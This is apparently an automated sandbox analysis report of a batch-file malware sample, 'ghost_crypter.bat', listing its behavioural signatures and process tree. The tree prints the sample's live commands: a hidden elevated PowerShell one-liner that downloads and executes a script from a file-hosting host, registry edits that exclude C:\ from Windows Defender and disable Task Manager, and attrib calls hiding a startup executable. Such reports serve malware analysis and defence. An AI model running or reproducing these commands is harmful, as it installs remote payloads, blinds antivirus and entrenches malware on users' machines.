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260416-cs3qnahw518

24/12/2025, 13:20

251224-qlebdad13f8

Analysis

  • max time kernel
    149s
  • max time network
    94s
  • platform
    windows11-21h2_x64
  • resource
    win11-20251223-en
  • resource tags

    arch:x64arch:x86image:win11-20251223-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    24/12/2025, 13:20

General

  • Target
    ghost_crypter.bat
  • Size 307B
  • Sample251224-qlebdad13f
  • SHA256 8dc2e3a962d5570a294eef6cc64a61e82876f730cc8d84f362e1f4101bb630ff
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Disables Task Manager via registry modification
  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ghost_crypter.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4584
    • C:\Windows\system32\mshta.exe
      mshta vbscript:CreateObject("WScript.Shell").Run("""C:\Users\Admin\AppData\Local\Temp\ghost_crypter.bat"" h",0,false)(window.close)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4464
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ghost_crypter.bat" h"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5824
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList 'irm files.catbox.moe/s8ydiw.txt | iex' -WindowStyle Hidden -Verb RunAs"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4928
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" irm files.catbox.moe/s8ydiw.txt | iex
            5⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Drops startup file
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4724
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ /f
              6⤵
                PID:3924
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c "attrib +h +s " C:\Users\Admin\AppData\Local\Temp\XClient.exe
                6⤵
                • Hide Artifacts: Hidden Files and Directories
                • Suspicious use of WriteProcessMemory
                PID:4908
                • C:\Windows\system32\attrib.exe
                  attrib +h +s C:\Users\Admin\AppData\Local\Temp\XClient.exe
                  7⤵
                  • Views/modifies file attributes
                  PID:1544
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c "attrib +h +s " C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.exe
                6⤵
                • Hide Artifacts: Hidden Files and Directories
                • Suspicious use of WriteProcessMemory
                PID:1124
                • C:\Windows\system32\attrib.exe
                  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.exe
                  7⤵
                  • Views/modifies file attributes
                  PID:3068
              • C:\Windows\system32\reg.exe
                "C:\Windows\system32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                6⤵
                • Modifies registry key
                PID:2252
              • C:\Windows\system32\reg.exe
                "C:\Windows\system32\reg.exe" add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                6⤵
                • Modifies registry key
                PID:5592

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 3a3dd2d4bdfc17d64262f4dc86ceb242ecf743f2da0412eb60074557a741a5eb
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_vifgnwca.1pj.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vifgnwca.1pj.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/4724-17-0x00000175B5C70000-0x00000175B5E32000-memory.dmp

          memory/4928-2-0x000001D83D280000-0x000001D83D2A2000-memory.dmp